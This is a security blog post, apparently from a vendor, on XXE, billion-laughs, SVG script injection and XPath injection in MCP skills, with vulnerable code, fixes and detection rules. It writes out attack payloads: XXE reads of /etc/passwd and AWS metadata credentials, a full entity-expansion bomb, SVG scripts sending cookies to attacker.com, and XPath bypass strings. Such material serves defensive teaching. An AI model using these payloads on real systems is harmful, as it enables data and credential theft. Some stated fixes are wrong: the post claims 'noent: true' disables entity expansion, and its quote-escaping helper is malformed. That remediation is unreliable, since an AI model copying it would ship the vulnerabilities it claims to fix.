← Blog

Claude skill XML and SVG injection security

MCP skills that process data formats built on XML — RSS feeds, SOAP responses, SVG images, Office documents, Atom feeds, configuration files — carry a class of injection vulnerability that is older than most web frameworks but remains under-appreciated in the agent ecosystem: XML External Entity injection, exponential entity expansion, SVG-embedded JavaScript, and XPath injection. SA-SKL-XML covers four XML-family injection patterns that appear in MCP skill codebases when skills parse user-supplied or external XML content without disabling dangerous parser features.

By SkillAudit  |  4 Nov 2026

XML's design decisions from the 1990s — entity references that resolve to external resources, recursive entity expansion, inline scripting in SVG, and query languages that accept string interpolation — were not made with adversarial input in mind. In an MCP skill context these decisions produce four distinct attack surfaces. A skill that parses RSS to summarise news content, processes SOAP responses from a legacy ERP, renders SVG charts returned from a data API, or queries an XML-based configuration store can expose local file contents, exhaust server memory, execute JavaScript in a Claude.ai browser tab, or bypass access controls in a single malformed payload. The fixes are uniformly straightforward: one parser option, a size limit, a sanitisation call, or a parameterised query. The vulnerability is in knowing which parser feature to disable before the first production request arrives.

SA-SKL-XML-001: XXE — XML External Entity injection — local file read and SSRF

XML parsers that support Document Type Definition (DTD) processing can be instructed, via entity declarations in the DTD, to fetch the content of an arbitrary file or URL and substitute it into the parsed document. This feature — XML External Entity (XXE) injection — means that a user-controlled XML payload can instruct the parser to read /etc/passwd, service account key files, or cloud provider instance metadata endpoints, and return that content as part of the parsed document that the skill then processes. The attack requires only that the parser has DTD loading and external entity resolution enabled, which is the default configuration in several popular Node.js XML libraries:

// VULNERABLE: parsing user-supplied XML with default entity resolution enabled
import { parseXml } from 'libxmljs2';
import { XMLParser } from 'fast-xml-parser';

// libxmljs2: DTD loading and entity expansion enabled by default
function parseUserXml(xmlString: string): libxmljs2.Document {
  return parseXml(xmlString);  // <-- external entities resolved if present in DTD
}

// fast-xml-parser: processEntities defaults to true in older versions
const parser = new XMLParser();
function parseWithFxp(xmlString: string): unknown {
  return parser.parse(xmlString);  // <-- entities resolved by default
}

// ATTACK PAYLOAD: local file read via SYSTEM entity
// Attacker sends this as the XML body to any tool that calls parseUserXml():
//
// <?xml version="1.0"?>
// <!DOCTYPE foo [
//   <!ENTITY xxe SYSTEM "file:///etc/passwd">
// ]>
// <root><data>&xxe;</data></root>
//
// Parser resolves &xxe; → reads /etc/passwd → substitutes contents into <data>
// Skill returns parsed doc to Claude → /etc/passwd contents visible in conversation

// ATTACK PAYLOAD: SSRF via HTTP SYSTEM entity (AWS IMDSv1)
// <?xml version="1.0"?>
// <!DOCTYPE foo [
//   <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/role">
// ]>
// <root><creds>&xxe;</creds></root>
//
// Parser fetches instance metadata URL → returns temporary AWS credentials
// Attacker uses returned AccessKeyId + SecretAccessKey to access AWS services

// ATTACK PAYLOAD: internal service enumeration
// <!ENTITY xxe SYSTEM "http://internal-service.corp:8080/admin/config">
// Parser makes request from skill's network context — bypasses external firewall

// SECURE: disable external entity resolution and DTD loading entirely

// libxmljs2: pass noent, dtdload, dtdvalid options
import { parseXml } from 'libxmljs2';

function safeParseXml(xmlString: string): libxmljs2.Document {
  return parseXml(xmlString, {
    noent: true,      // do not substitute entities (treats &xxe; as literal text)
    dtdload: false,   // do not load external DTD files
    dtdvalid: false,  // do not validate against DTD (removes DTD processing entirely)
    nonet: true,      // disallow network access from the parser
  });
}

// fast-xml-parser: disable entity processing
import { XMLParser } from 'fast-xml-parser';

const safeParser = new XMLParser({
  processEntities: false,       // do not expand &entity; references
  allowBooleanAttributes: true,
});

function safeParseWithFxp(xmlString: string): unknown {
  return safeParser.parse(xmlString);
}

// ADDITIONAL LAYER: reject payloads that contain DOCTYPE declarations
function rejectDoctype(xmlString: string): void {
  if (/<!DOCTYPE/i.test(xmlString)) {
    throw new Error('XML input must not contain DOCTYPE declarations');
  }
}

// STARTUP VALIDATION: confirm parser is configured safely
function validateXmlParserConfig(parserOptions: Record<string, unknown>): void {
  if (parserOptions['processEntities'] !== false) {
    throw new Error('XMLParser must be configured with processEntities: false');
  }
}

XXE is a server-side attack that returns data via the parsed document: The attacker does not need a reflected XSS vector or a browser. The parser reads the file or URL, inserts the contents into the XML document, and your skill's normal return path sends the contents to Claude and back to the attacker in the tool result. Any skill that parses XML and returns a structured result is a potential XXE exfiltration channel if the parser has not explicitly disabled external entity resolution. The fix — two or three parser options — is a one-time change, not an ongoing validation burden.

CRITICAL
SA-SKL-XML-001 — XXE via default external entity resolution in XML parser: attacker-controlled DTD entity declaration causes parser to read /etc/passwd, service account key files, or cloud provider instance metadata URLs and embed contents in parsed document returned to skill; enables full SSRF from skill network context. Fix: set noent: true, dtdload: false, nonet: true for libxmljs2; set processEntities: false for fast-xml-parser; reject inputs containing <!DOCTYPE. Detection: parseXml(input) or new XMLParser() without entity-disabling options → CRITICAL.

SA-SKL-XML-002: Billion laughs / XML bomb — exponential entity expansion

An XML bomb is a payload that uses recursive internal entity references to cause exponential expansion of a small input document into an arbitrarily large output. The classic “billion laughs” attack uses ten levels of entity nesting where each level references the previous ten times; the top-level entity expands to 1010 characters (approximately 10 GB) from a payload of roughly 1 KB. A parser that resolves all internal entity references without imposing an expansion size or count limit will attempt to materialise the full expanded text in memory, consuming all available RAM and CPU before the parse completes, causing the skill host process to hang or be killed. Because the payload is entirely within the internal DTD subset (no external file or network access required), disabling only external entity resolution does not prevent this attack:

// VULNERABLE: parser that resolves internal entity references recursively
// without imposing an expansion size or count limit

import { parseXml } from 'libxmljs2';
import expat from 'node-expat';

// libxmljs2 with only noent:false (external entities disabled but internal allowed)
function partiallyFixedParser(xmlString: string): libxmljs2.Document {
  return parseXml(xmlString, {
    noent: false,   // <-- only disables external entities; internal expansion still runs
    dtdload: false,
  });
}

// node-expat: no built-in expansion limit
const expatParser = new expat.Parser('UTF-8');
// <-- expansion of internal entities is unbounded by default

// ATTACK PAYLOAD: billion laughs (abbreviated — full payload nests 10 levels)
//
// <?xml version="1.0"?>
// <!DOCTYPE bomb [
//   <!ENTITY a "AAAA">
//   <!ENTITY b "&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;">
//   <!ENTITY c "&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;">
//   <!ENTITY d "&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;">
//   <!ENTITY e "&d;&d;&d;&d;&d;&d;&d;&d;&d;&d;">
//   <!ENTITY f "&e;&e;&e;&e;&e;&e;&e;&e;&e;&e;">
//   <!ENTITY g "&f;&f;&f;&f;&f;&f;&f;&f;&f;&f;">
//   <!ENTITY h "&g;&g;&g;&g;&g;&g;&g;&g;&g;&g;">
//   <!ENTITY i "&h;&h;&h;&h;&h;&h;&h;&h;&h;&h;">
//   <!ENTITY j "&i;&i;&i;&i;&i;&i;&i;&i;&i;&i;">
// ]>
// <root>&j;</root>
//
// Expanding &j; requires expanding 10 levels of &i;, each expanding 10 &h;...
// Total expanded characters: 4 * 10^10 = ~40 GB
// Parser tries to allocate 40 GB in memory → OOM → skill process killed
// Effect: denial of service on the skill host; all users of the skill affected

// SECURE: layer multiple defences to prevent entity expansion DoS

// 1. Reject any XML input containing a DOCTYPE declaration
//    (entities can only be declared in DTD — no DTD = no entity bomb)
function rejectDoctype(xmlString: string): void {
  if (/<!DOCTYPE[\s\S]*?>/i.test(xmlString)) {
    throw new Error('XML input must not contain DOCTYPE declarations (DoS prevention)');
  }
}

// 2. Set a maximum input size before parsing begins
const MAX_XML_BYTES = 1 * 1024 * 1024;  // 1 MB hard limit

function parseSafeXml(xmlString: string): libxmljs2.Document {
  if (Buffer.byteLength(xmlString, 'utf8') > MAX_XML_BYTES) {
    throw new Error(`XML input exceeds maximum allowed size of ${MAX_XML_BYTES} bytes`);
  }
  rejectDoctype(xmlString);
  return parseXml(xmlString, {
    noent: true,    // disables ALL entity expansion (internal and external)
    dtdload: false,
    dtdvalid: false,
    nonet: true,
  });
}

// 3. For fast-xml-parser: entity expansion count limit (v4.3+)
import { XMLParser } from 'fast-xml-parser';

const safeParser = new XMLParser({
  processEntities: false,          // disables entity expansion entirely
  // If entities must be processed, add a size-based guard:
  // maxEntityExpansions: 100,     // hypothetical option — verify in your version
});

// 4. Wrap parsing in a worker thread with a memory limit if input is untrusted
//    and you cannot reject DTD outright (e.g. SOAP envelope with internal entities)
import { Worker, isMainThread, parentPort, workerData } from 'worker_threads';

function parseXmlInWorker(xmlString: string): Promise<unknown> {
  return new Promise((resolve, reject) => {
    const worker = new Worker(__filename, {
      workerData: { xmlString },
      resourceLimits: { maxOldGenerationSizeMb: 64 },  // cap heap at 64 MB
    });
    const timeout = setTimeout(() => { worker.terminate(); reject(new Error('XML parse timeout')); }, 5000);
    worker.on('message', (result) => { clearTimeout(timeout); resolve(result); });
    worker.on('error', (err) => { clearTimeout(timeout); reject(err); });
  });
}

Disabling only external entities does not prevent the billion laughs attack: The XML bomb uses internal entities defined entirely within the <!DOCTYPE> block of the payload itself — no external file or URL is fetched. Setting noent: false (which some documentation describes as “disable external entities”) may still allow recursive internal entity expansion. The correct defence is to set noent: true in libxmljs2 (which disables all entity expansion, both internal and external) or to reject any XML input that contains a <!DOCTYPE declaration entirely. A per-request input size cap provides a last-resort backstop but does not substitute for disabling entity expansion.

HIGH
SA-SKL-XML-002 — Billion laughs XML bomb via unbounded internal entity expansion: 1 KB payload expands to 10 GB+ in parser memory; skill host process exhausts RAM and is killed; denial of service affecting all skill users. Fix: set noent: true for libxmljs2 to disable all entity expansion; set processEntities: false for fast-xml-parser; reject inputs containing <!DOCTYPE; impose a per-request input size limit (e.g. 1 MB). Detection: XML parser invoked without noent: true or DOCTYPE rejection on user-supplied input → HIGH.

SA-SKL-XML-003: SVG with embedded JavaScript returned as tool content — script execution in Claude client

SVG is an XML-based image format that permits embedded <script> elements, event handler attributes (onload, onclick, etc.), javascript: href values, and <foreignObject> elements that can embed arbitrary HTML including script tags. When an MCP skill fetches an SVG from an external URL, accepts an SVG in a user argument, or generates SVG from user-controlled data and returns it as a tool result string, that SVG content is passed through Claude to the client interface. In a browser-based Claude client — Claude.ai, Cursor web, or any application that renders tool results as HTML — the SVG may be rendered in the page's DOM context, causing embedded scripts to execute with the client origin's privileges. The attacker gains the ability to exfiltrate cookies, session tokens, and conversation history:

// VULNERABLE: skill returns user-uploaded or externally-fetched SVG without sanitisation
import { tool } from '@anthropic-ai/sdk';

// Tool that fetches an SVG chart from a user-supplied URL
const fetchChartTool = tool({
  name: 'fetch_chart',
  description: 'Fetch an SVG chart from the given URL and display it',
  input_schema: {
    type: 'object',
    properties: { url: { type: 'string' } },
    required: ['url'],
  },
  async execute({ url }: { url: string }): Promise<string> {
    const response = await fetch(url);
    const svg = await response.text();
    return svg;  // <-- raw SVG returned directly as tool result — NOT SAFE
  },
});

// Tool that accepts SVG in user input
const renderSvgTool = tool({
  name: 'render_svg',
  description: 'Render user-provided SVG content',
  input_schema: {
    type: 'object',
    properties: { svg_content: { type: 'string' } },
    required: ['svg_content'],
  },
  async execute({ svg_content }: { svg_content: string }): Promise<string> {
    return svg_content;  // <-- returned verbatim — NOT SAFE
  },
});

// ATTACK PAYLOAD: <script> element exfiltrates cookies
// Attacker submits or controls the URL that returns:
//
// <svg xmlns="http://www.w3.org/2000/svg">
//   <script>
//     fetch('https://attacker.com/steal?d=' + btoa(document.cookie));
//   </script>
//   <text x="10" y="20">harmless chart</text>
// </svg>
//
// When rendered in Claude.ai browser tab:
//   document.cookie = session tokens, auth cookies → sent to attacker

// ATTACK PAYLOAD: javascript: href (clickjacking variant)
// <svg><a href="javascript:eval(atob('ZmV0Y2go...'))">Click for details</a></svg>

// ATTACK PAYLOAD: onload event handler
// <svg onload="navigator.sendBeacon('https://attacker.com',document.cookie)"></svg>

// ATTACK PAYLOAD: foreignObject wrapping HTML+script
// <svg><foreignObject><div xmlns="http://www.w3.org/1999/xhtml">
//   <script>...</script>
// </div></foreignObject></svg>

// SECURE: sanitise all SVG content with DOMPurify before returning as tool result

// In a Node.js skill, use DOMPurify with jsdom (server-side DOM)
import createDOMPurify from 'dompurify';
import { JSDOM } from 'jsdom';

const window = new JSDOM('').window;
const DOMPurify = createDOMPurify(window as unknown as Window);

function sanitizeSvg(rawSvg: string): string {
  return DOMPurify.sanitize(rawSvg, {
    USE_PROFILES: { svg: true, svgFilters: true },
    // Strips: <script>, event handler attributes, javascript: hrefs,
    //         <foreignObject>, <use href> with data URIs
    // Keeps:  <path>, <rect>, <circle>, <text>, <g>, <defs>,
    //         safe <filter> elements, <linearGradient>, etc.
  });
}

const safeFetchChartTool = tool({
  name: 'fetch_chart',
  description: 'Fetch an SVG chart from the given URL and display it',
  input_schema: {
    type: 'object',
    properties: { url: { type: 'string' } },
    required: ['url'],
  },
  async execute({ url }: { url: string }): Promise<string> {
    const response = await fetch(url);
    const rawSvg = await response.text();
    // Sanitise before returning — strips all script execution vectors
    return sanitizeSvg(rawSvg);
  },
});

// ADDITIONAL GUARD: validate Content-Type before treating response as SVG
async function fetchSvgSafely(url: string): Promise<string> {
  const response = await fetch(url);
  const contentType = response.headers.get('content-type') ?? '';
  if (!contentType.includes('image/svg') && !contentType.includes('text/xml')) {
    throw new Error(`Expected SVG content-type, got: ${contentType}`);
  }
  const rawSvg = await response.text();
  if (!rawSvg.trim().startsWith('<svg') && !rawSvg.includes('<svg')) {
    throw new Error('Response does not appear to be SVG content');
  }
  return sanitizeSvg(rawSvg);
}

SVG is not a safe image format in a tool result context: Unlike JPEG or PNG, SVG is an executable format — it is parsed as XML and may contain script elements that execute in the browser. Any MCP skill that returns SVG content (from user input, external URLs, generated output, or database storage) must sanitise that content with a library that understands SVG's attack surface before returning it as a tool result. DOMPurify with USE_PROFILES: { svg: true } is the established standard; it handles all known SVG XSS vectors including <script>, onload, onerror, href="javascript:", <use> with data: URIs, and <foreignObject> embedding.

HIGH
SA-SKL-XML-003 — SVG with embedded JavaScript returned unsanitised as tool content: <script>, onload, javascript: href, or <foreignObject> in SVG executes in browser-based Claude client (Claude.ai, Cursor web) with client origin privileges; session tokens and cookies exfiltrated. Fix: sanitise all SVG tool results with DOMPurify.sanitize(svg, { USE_PROFILES: { svg: true, svgFilters: true } }); never return raw SVG from external sources or user input. Detection: tool returning SVG string without DOMPurify sanitisation call → HIGH.

SA-SKL-XML-004: XPath injection in XML query tools — access control bypass

Skills that query XML documents using XPath — to look up configuration values, search document nodes, or implement search/filter functionality over XML data stores — are vulnerable to XPath injection when user-supplied values are interpolated directly into the XPath expression string. XPath injection is structurally analogous to SQL injection: the attacker closes the intended string literal with a quote character and appends XPath syntax that changes the semantics of the expression. The most common effects are reading nodes beyond the intended scope (all users instead of a specific user) and authentication bypass when the XPath expression is used to validate credentials:

// VULNERABLE: user input interpolated directly into XPath expression string
import xpath from 'xpath';
import { DOMParser } from '@xmldom/xmldom';

const usersXml = `
<users>
  <user><name>alice</name><role>admin</role><secret>tok_alice_123</secret></user>
  <user><name>bob</name><role>viewer</role><secret>tok_bob_456</secret></user>
</users>`;

const doc = new DOMParser().parseFromString(usersXml, 'text/xml');

// Tool that looks up a user by name — username from tool arguments
async function getUserByName(username: string): Promise<string> {
  // VULNERABLE: username interpolated directly into XPath string
  const results = xpath.select(`//user[name='${username}']`, doc);
  //                                        ^^^^^^^^^
  //                           attacker controls this string
  return JSON.stringify(results);
}

// ATTACK: XPath injection to read ALL users
// Attacker calls the tool with username = ' or '1'='1
// Resulting expression: //user[name='' or '1'='1']
// '1'='1' is always true → all <user> nodes returned
// All secrets (tok_alice_123, tok_bob_456) returned to attacker

// ATTACK: authentication bypass
// Tool that validates username + password pair:
function validateUser(name: string, pass: string): boolean {
  // VULNERABLE
  const expr = `//user[name='${name}' and password='${pass}']`;
  const result = xpath.select(expr, doc) as Node[];
  return result.length > 0;
}
// Attacker calls with name = "' or '1'='1" and pass = "anything"
// Expression: //user[name='' or '1'='1' and password='anything']
// Operator precedence: 'and' binds tighter than 'or'
// Evaluates as: //user[(name='') or ('1'='1' and password='anything')]
// First branch '' is false for all users, second branch depends on pass...
// With name="' or '1'='1' or '1'='", pass="1"
// Expression: //user[name='' or '1'='1' or '1'='1' and password='1']
// Simplifies to true for all users → authentication bypassed

// ALSO VULNERABLE: document search tool
async function searchDocuments(query: string): Promise<unknown> {
  // Attacker controls query — can traverse to any node in the document
  return xpath.select(`//document[contains(title,'${query}')]`, doc);
}
// query = "'] | //user/secret | //x['" leaks all secrets via union

// SECURE: use parameterised XPath with variable bindings
// xpath library supports variable resolution via a custom resolver

function getVariableResolver(variables: Record<string, string>) {
  return {
    lookupVariable(name: string): string | null {
      return variables[name] ?? null;
    },
  };
}

async function safeGetUserByName(username: string): Promise<string> {
  // Variable binding: $name is substituted by the resolver, not by string interpolation
  // The resolver returns the literal string value — no XPath syntax interpretation
  const results = xpath.select(
    '//user[name=$name]',   // XPath expression with variable reference
    doc,
    null,
    false,
    { name: username },     // variable binding: username is treated as a string value
  ) as Node[];
  return JSON.stringify(results.map(n => (n as Element).textContent));
}

// SECURE: parameterised credential validation
function safeValidateUser(name: string, pass: string): boolean {
  const results = xpath.select(
    '//user[name=$name and password=$pass]',
    doc,
    null,
    false,
    { name, pass },   // both variables bound — neither injectable
  ) as Node[];
  return results.length > 0;
}

// ALTERNATIVE (less safe, use only when variable binding unavailable):
// Escape single quotes by doubling them — prevents quote-based injection
function escapeXPathString(value: string): string {
  // If value contains both ' and ", use concat() trick
  if (value.includes("'") && value.includes('"')) {
    // Split on ' and use concat() with alternating quote styles
    const parts = value.split("'").map(p => `'${p}'`).join(", \"'\", ");
    return `concat(${parts})`;
  }
  if (value.includes("'")) {
    return `"${value}"`;    // wrap in double quotes when value has single quotes
  }
  return `'${value}'`;      // standard single-quote wrapping
}

// Use only as last resort — variable binding is always preferred
async function escapedGetUser(username: string): Promise<string> {
  const escaped = escapeXPathString(username);
  const results = xpath.select(`//user[name=${escaped}]`, doc);
  return JSON.stringify(results);
}

Variable binding is strictly safer than string escaping for XPath: XPath variable binding (passing a { name: value } map to the resolver) means the user-supplied string is never interpreted as XPath syntax at any point — the library substitutes the value as an atomic string type after the expression is parsed. String escaping (doubling single quotes, wrapping in double quotes) is fragile because it requires handling all combinations of quote characters in the input and correctly implementing the XPath concat() workaround for mixed-quote strings. Use variable binding for all new XPath queries; use escaping only when integrating with an XPath library that does not support variable resolution.

HIGH
SA-SKL-XML-004 — XPath injection via user input interpolated into XPath expression string: attacker passes ' or '1'='1 to bypass node-level access controls, read all document nodes, or bypass credential validation; union injection ('] | //secret | //x[') leaks arbitrary nodes. Fix: use parameterised XPath with variable bindings (xpath.select('//user[name=$name]', doc, null, false, { name: input })); avoid string interpolation into XPath expressions. Detection: template literal or string concatenation inside xpath.select() argument → HIGH.

Remediation summary

FindingSeverityFix
XML-001: XXE external entity injectionCRITICALSet noent: true, dtdload: false, nonet: true for libxmljs2; processEntities: false for fast-xml-parser; reject inputs containing <!DOCTYPE
XML-002: Billion laughs XML bombHIGHSet noent: true to disable all entity expansion; reject <!DOCTYPE in input; impose per-request input size limit (1 MB); parse in a resource-capped worker thread for untrusted input
XML-003: SVG with embedded JavaScript in tool contentHIGHSanitise all SVG tool results with DOMPurify.sanitize(svg, { USE_PROFILES: { svg: true, svgFilters: true } }); never return raw SVG from external sources or user input
XML-004: XPath injection in XML query toolsHIGHUse parameterised XPath with variable bindings ({ name: input } resolver map); do not interpolate user input into XPath expression strings; use concat()-based escaping only as a fallback

SkillAudit detects all four SA-SKL-XML-001 through XML-004 patterns through static analysis of skill source code: XML parser invocations without entity-disabling options, SVG content returned from tool functions without DOMPurify sanitisation, and template literals or string concatenation inside xpath.select() argument positions. For related security patterns see SA-SKL-SSRF server-side request forgery, SA-SKL-SQL SQL injection security, and SA-SKL-CSP content security policy. See the complete SA-SKL attack surface reference for the full vulnerability taxonomy.

Scan your Claude skill for XML and SVG injection vulnerabilities

SkillAudit detects XXE entity injection, XML bomb exposure, SVG JavaScript in tool content, and XPath injection across the full SA-SKL-XML family in 60 seconds.

Get your free audit